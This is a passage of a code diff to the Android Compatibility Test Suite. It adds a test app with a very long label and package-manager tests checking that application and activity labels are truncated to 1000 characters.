<option name="push" value="CtsContentEmptyTestApp.apk->/data/local/tmp/cts/content/CtsContentEmptyTestApp.apk" />
+ <option name="push" value="CtsContentLongLabelNameTestApp.apk->/data/local/tmp/cts/content/CtsContentLongLabelNameTestApp.apk" />
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/tests/content/emptytestapp/Android.mk b/tests/tests/content/emptytestapp/Android.mk
index ea4d35a..ce20d8c 100644
--- a/tests/tests/content/emptytestapp/Android.mk
+++ b/tests/tests/content/emptytestapp/Android.mk
@@ -28,3 +28,20 @@
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsContentLongLabelNameTestApp
+
+LOCAL_MANIFEST_FILE := LongLabelNameTestApp/AndroidManifest.xml
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SDK_VERSION := current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/content/emptytestapp/LongLabelNameTestApp/AndroidManifest.xml b/tests/tests/content/emptytestapp/LongLabelNameTestApp/AndroidManifest.xml
new file mode 100644
index 0000000..eaa69b1
--- /dev/null
+++ b/tests/tests/content/emptytestapp/LongLabelNameTestApp/AndroidManifest.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<!-- Test that the maximum length of the label returned from the load label api should be 1000 -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.content.cts.emptytestapp" >
+ <application android:hasCode="false" android:label="@string/long_app_name">
+ <activity android:name=".MockActivity" android:label="@string/long_app_name"
+ android:exported="true" android:enabled="true" />
+ </application>
+</manifest>
diff --git a/tests/tests/content/emptytestapp/res/values/strings.xml b/tests/tests/content/emptytestapp/res/values/strings.xml
new file mode 100644
index 0000000..8c06d18
--- /dev/null
+++ b/tests/tests/content/emptytestapp/res/values/strings.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources>
+ <string name="long_app_name">
+EmptyTestApp123456789012345678901234567890123456789012345678901234567890123456789012345678901234567
+EmptyTestApp123456789012345678901234567890123456789012345678901234567890123456789012345678901234567
+EmptyTestApp123456789012345678901234567890123456789012345678901234567890123456789012345678901234567
+EmptyTestApp123456789012345678901234567890123456789012345678901234567890123456789012345678901234567
+EmptyTestApp123456789012345678901234567890123456789012345678901234567890123456789012345678901234567
+EmptyTestApp123456789012345678901234567890123456789012345678901234567890123456789012345678901234567
+EmptyTestApp123456789012345678901234567890123456789012345678901234567890123456789012345678901234567
+EmptyTestApp123456789012345678901234567890123456789012345678901234567890123456789012345678901234567
+EmptyTestApp123456789012345678901234567890123456789012345678901234567890123456789012345678901234567
+EmptyTestApp123456789012345678901234567890123456789012345678901234567890123456789012345678901234567
+EmptyTestApp123456789012345678901234567890123456789012345678901234567890123456789012345678901234567
+ </string>
+</resources>
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
index 2c4d0067..772866f 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
@@ -63,6 +63,9 @@
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -108,11 +111,23 @@
private static final String SHIM_APEX_PACKAGE_NAME = "com.android.apex.cts.shim";
+ private static final String SAMPLE_APK_BASE = "/data/local/tmp/cts/content/";
+ private static final String LONG_LABEL_NAME_APK = SAMPLE_APK_BASE
+ + "CtsContentLongLabelNameTestApp.apk";
+ private static final String EMPTY_APP_PACKAGE_NAME = "android.content.cts.emptytestapp";
+
+ private static final int MAX_SAFE_LABEL_LENGTH = 1000;
+
@Before
public void setup() throws Exception {
mPackageManager = InstrumentationRegistry.getContext().getPackageManager();
}
+ @After
+ public void tearDown() throws Exception {
+ uninstallPackage(EMPTY_APP_PACKAGE_NAME);
+ }
+
@Test
public void testQuery() throws NameNotFoundException {
// Test query Intent Activity related methods
@@ -988,4 +1003,41 @@
assertThat(packageInfo.signatures)
.asList().containsExactly((Object[]) pastSigningCertificates);
}
+
+ private boolean installPackage(String apkPath) {
+ return SystemUtil.runShellCommand("pm install -t " + apkPath).equals("Success\n");
+ }
+
+ private void uninstallPackage(String packageName) {
+ SystemUtil.runShellCommand("pm uninstall " + packageName);
+ }
+
+ @Test
+ public void loadApplicationLabel_withLongLabelName_truncated() throws Exception {
+ assertThat(installPackage(LONG_LABEL_NAME_APK)).isTrue();
+ final ApplicationInfo info = mPackageManager.getApplicationInfo(
+ EMPTY_APP_PACKAGE_NAME, 0 /* flags */);
+ final CharSequence resLabel = mPackageManager.getText(
+ EMPTY_APP_PACKAGE_NAME, info.labelRes, info);
+
+ assertThat(resLabel.length()).isGreaterThan(MAX_SAFE_LABEL_LENGTH);
+ assertThat(info.loadLabel(mPackageManager).length()).isEqualTo(MAX_SAFE_LABEL_LENGTH);
+ }
+
+ @Test
+ public void loadComponentLabel_withLongLabelName_truncated() throws Exception {
+ assertThat(installPackage(LONG_LABEL_NAME_APK)).isTrue();
+ final ComponentName componentName = ComponentName.createRelative(
+ EMPTY_APP_PACKAGE_NAME, ".MockActivity");
+ final ApplicationInfo appInfo = mPackageManager.getApplicationInfo(
+ EMPTY_APP_PACKAGE_NAME, 0 /* flags */);
+ final ActivityInfo activityInfo = mPackageManager.getActivityInfo(
+ componentName, 0 /* flags */);
+ final CharSequence resLabel = mPackageManager.getText(
+ EMPTY_APP_PACKAGE_NAME, activityInfo.labelRes, appInfo);
+
+ assertThat(resLabel.length()).isGreaterThan(MAX_SAFE_LABEL_LENGTH);
+ assertThat(activityInfo.loadLabel(mPackageManager).length())
+ .isEqualTo(MAX_SAFE_LABEL_LENGTH);
+ }
}